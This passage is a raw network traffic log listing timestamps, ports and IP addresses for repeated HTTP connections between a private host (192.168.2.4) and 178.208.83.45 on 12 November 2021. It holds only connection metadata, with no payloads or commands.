Nov 12, 2021 22:23:33.352081060 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352108002 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352134943 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352210999 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352238894 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352264881 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352336884 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352364063 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352391005 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352416039 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352525949 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352546930 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352572918 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352598906 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352626085 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352740049 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352766991 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352792025 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352818012 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352844000 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352900982 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.352925062 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.353010893 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.353038073 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.353063107 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.353090048 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.353250980 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.353279114 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.353305101 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.374666929 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.374711990 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.374970913 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.374998093 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.375503063 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.375530958 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.376578093 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.378427029 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.378520012 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.421953917 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.448105097 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.448318958 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.562731981 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.563188076 CET	49836	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.564260006 CET	49838	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.585359097 CET	80	49837	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.585504055 CET	80	49836	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.585628033 CET	49837	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.586148977 CET	49836	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.586549044 CET	80	49838	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.586644888 CET	49838	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.587182045 CET	49838	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.609568119 CET	80	49838	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.612788916 CET	80	49838	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.613315105 CET	49838	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.718991995 CET	49838	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.720263958 CET	49839	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.741364956 CET	80	49838	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.741456985 CET	49838	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.742598057 CET	80	49839	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.742690086 CET	49839	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.743364096 CET	49839	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.765655041 CET	80	49839	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.768182993 CET	80	49839	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.769006014 CET	49839	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.783893108 CET	49839	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.785316944 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.806392908 CET	80	49839	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.806509018 CET	49839	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.807701111 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.809704065 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.810405970 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.810420990 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.810738087 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.810869932 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.832825899 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.832859039 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833008051 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833025932 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833043098 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833055019 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833108902 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.833121061 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833132982 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833148956 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833153963 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.833192110 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.833214998 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833226919 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833242893 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.833244085 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.833300114 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.855530977 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.855658054 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.855956078 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.855971098 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.855984926 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.855998039 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856009960 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856029034 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856039047 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856045961 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.856050014 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856066942 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856081009 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856096983 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856101036 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.856107950 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856125116 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856134892 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856148958 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856154919 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.856159925 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856175900 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856178045 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.856189966 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.856221914 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.856245041 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.877487898 CET	49841	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.878129959 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878149986 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878264904 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.878427982 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878494978 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878508091 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878525972 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878531933 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.878536940 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878551006 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878562927 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878607988 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878642082 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.878716946 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878730059 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878746033 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878757954 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878774881 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878787994 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878829002 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878844976 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878907919 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878933907 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878937006 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878968000 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878984928 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.878997087 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879013062 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879054070 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879065990 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879081011 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879093885 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879106998 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879179955 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879220963 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879237890 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879249096 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879260063 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879282951 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.879364014 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.899990082 CET	80	49841	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.900118113 CET	49841	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.900628090 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.900643110 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.900659084 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.900861025 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.900875092 CET	49841	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.900966883 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.901098013 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.901211023 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.901226997 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.901328087 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.903333902 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.903404951 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:33.923343897 CET	80	49841	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.928198099 CET	80	49841	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:33.929379940 CET	49841	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.047652960 CET	49841	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.048130989 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.049221992 CET	49842	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.070166111 CET	80	49841	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.070452929 CET	80	49840	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.070606947 CET	49841	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.071433067 CET	49840	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.071535110 CET	80	49842	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.072432041 CET	49842	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.072469950 CET	49842	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.094736099 CET	80	49842	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.107686043 CET	80	49842	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.107897043 CET	49842	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.218684912 CET	49842	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.219463110 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.241432905 CET	80	49842	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.241689920 CET	49842	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.242125988 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.242321968 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.242913961 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.265644073 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.268815994 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.271768093 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.310746908 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.311415911 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.311439991 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.311537981 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.334038019 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.334083080 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.334100962 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.334129095 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.334148884 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.334235907 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.334283113 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.334290028 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.335625887 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.357099056 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357142925 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357192993 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357239008 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357270002 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357297897 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357436895 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.357439995 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357470989 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.357515097 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.357584953 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.358299017 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.358409882 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.358581066 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.377700090 CET	49844	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.380203962 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.380310059 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.380386114 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.380454063 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.380517006 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.380589008 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.380639076 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.380722046 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.380971909 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381000042 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381161928 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381216049 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381416082 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381508112 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381716013 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381747961 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381782055 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381804943 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381845951 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.381874084 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.382031918 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.382083893 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.400223970 CET	80	49844	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.400958061 CET	49844	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.401583910 CET	49844	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.403531075 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.403556108 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.404088974 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.406796932 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.407052040 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.423919916 CET	80	49844	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.426945925 CET	80	49844	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.427066088 CET	49844	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.533343077 CET	49844	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.533705950 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.535254955 CET	49845	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.555890083 CET	80	49844	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.556092024 CET	49844	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.556262016 CET	80	49843	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.557718039 CET	80	49845	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.561009884 CET	49843	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.561058044 CET	49845	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.562715054 CET	49845	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.585249901 CET	80	49845	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.588666916 CET	80	49845	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.589085102 CET	49845	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.703151941 CET	49845	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.716526985 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.725651979 CET	80	49845	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.726726055 CET	49845	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.738918066 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.740782976 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.741552114 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.763968945 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.766436100 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.766585112 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.849766970 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.849802017 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.850224972 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.850282907 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.872128010 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.872767925 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.872839928 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.872865915 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.872893095 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.872904062 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.873059988 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.876394033 CET	49847	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.895450115 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895498991 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895539999 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895548105 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.895581007 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895581961 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.895617962 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.895621061 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895636082 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.895661116 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895678043 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.895715952 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.895855904 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895898104 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895936012 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.895976067 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.896033049 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.896070957 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.898601055 CET	80	49847	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.900388002 CET	49847	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.901583910 CET	49847	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.918339014 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.918414116 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.918526888 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.918682098 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.918761969 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.918878078 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.919090986 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.919333935 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.919349909 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.919451952 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.919548988 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.919912100 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.919948101 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920109987 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920136929 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920269966 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920309067 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920387030 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920500040 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920516968 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.920753002 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.923875093 CET	80	49847	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.926917076 CET	80	49847	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.927465916 CET	49847	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:34.940994978 CET	80	49846	178.208.83.45	192.168.2.4
